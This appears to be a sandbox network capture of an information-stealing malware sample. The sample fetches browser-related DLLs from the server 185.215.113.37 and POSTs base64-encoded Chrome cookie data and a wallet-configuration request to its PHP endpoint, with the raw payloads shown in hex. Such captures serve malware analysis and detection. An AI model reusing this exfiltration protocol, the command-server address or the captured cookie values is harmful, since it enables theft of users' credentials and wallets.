Oct 13, 2024 00:47:43.316711903 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:42 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 00:47:43.596288919 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 00:47:43.816065073 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:43 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 13, 2024 00:47:43.816078901 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 13, 2024 00:47:43.816167116 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 13, 2024 00:47:43.816214085 CEST	1236	IN	Data Raw: ff 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 51 f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 2a f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc ff ff 83 ec 0c e9 d9 fe ff ff 89 7c 24 08 c7 44 24 Data Ascii: \|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=xgat9$pa\|aQtD$pa$aRR
Oct 13, 2024 00:47:45.387305021 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFCBFCBFBKEBFIDBKEC Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 42 46 43 42 46 42 4b 45 42 46 49 44 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------BKFCBFCBFBKEBFIDBKECContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------BKFCBFCBFBKEBFIDBKECContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BKFCBFCBFBKEBFIDBKECContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------BKFCBFCBFBKEBFIDBKEC--
Oct 13, 2024 00:47:46.106846094 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:45 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 00:47:46.648664951 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFCFCGCGIEHIECAFCFI Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="file"------GCFCFCGCGIEHIECAFCFI--
Oct 13, 2024 00:47:47.366537094 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 00:47:48.889684916 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGC Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="file"------FCGIJKJJKEBGHJKFIDGC--
Oct 13, 2024 00:47:49.603590965 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 00:47:50.300683975 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 00:47:50.521344900 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:50 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 13, 2024 00:47:51.525264978 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 00:47:51.757824898 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:51 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 13, 2024 00:47:52.264014959 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 00:47:52.482675076 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:52 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 13, 2024 00:47:52.794689894 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 00:47:53.013540983 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:52 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 13, 2024 00:47:54.499695063 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 00:47:54.718895912 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:54 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 13, 2024 00:47:54.899116039 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 00:47:55.117907047 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:55 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 13, 2024 00:47:55.712239981 CEST	201	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCGHIJKEGIECBFCBAE Host: 185.215.113.37 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 00:47:56.612035036 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:55 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 00:47:57.369585991 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDAFIJJECFHJJKFCAKJ Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 41 46 49 4a 4a 45 43 46 48 4a 4a 4b 46 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 41 46 49 4a 4a 45 43 46 48 4a 4a 4b 46 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 41 46 49 4a 4a 45 43 46 48 4a 4a 4b 46 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------EHDAFIJJECFHJJKFCAKJContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------EHDAFIJJECFHJJKFCAKJContent-Disposition: form-data; name="message"wallets------EHDAFIJJECFHJJKFCAKJ--
Oct 13, 2024 00:47:57.636219978 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:57 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 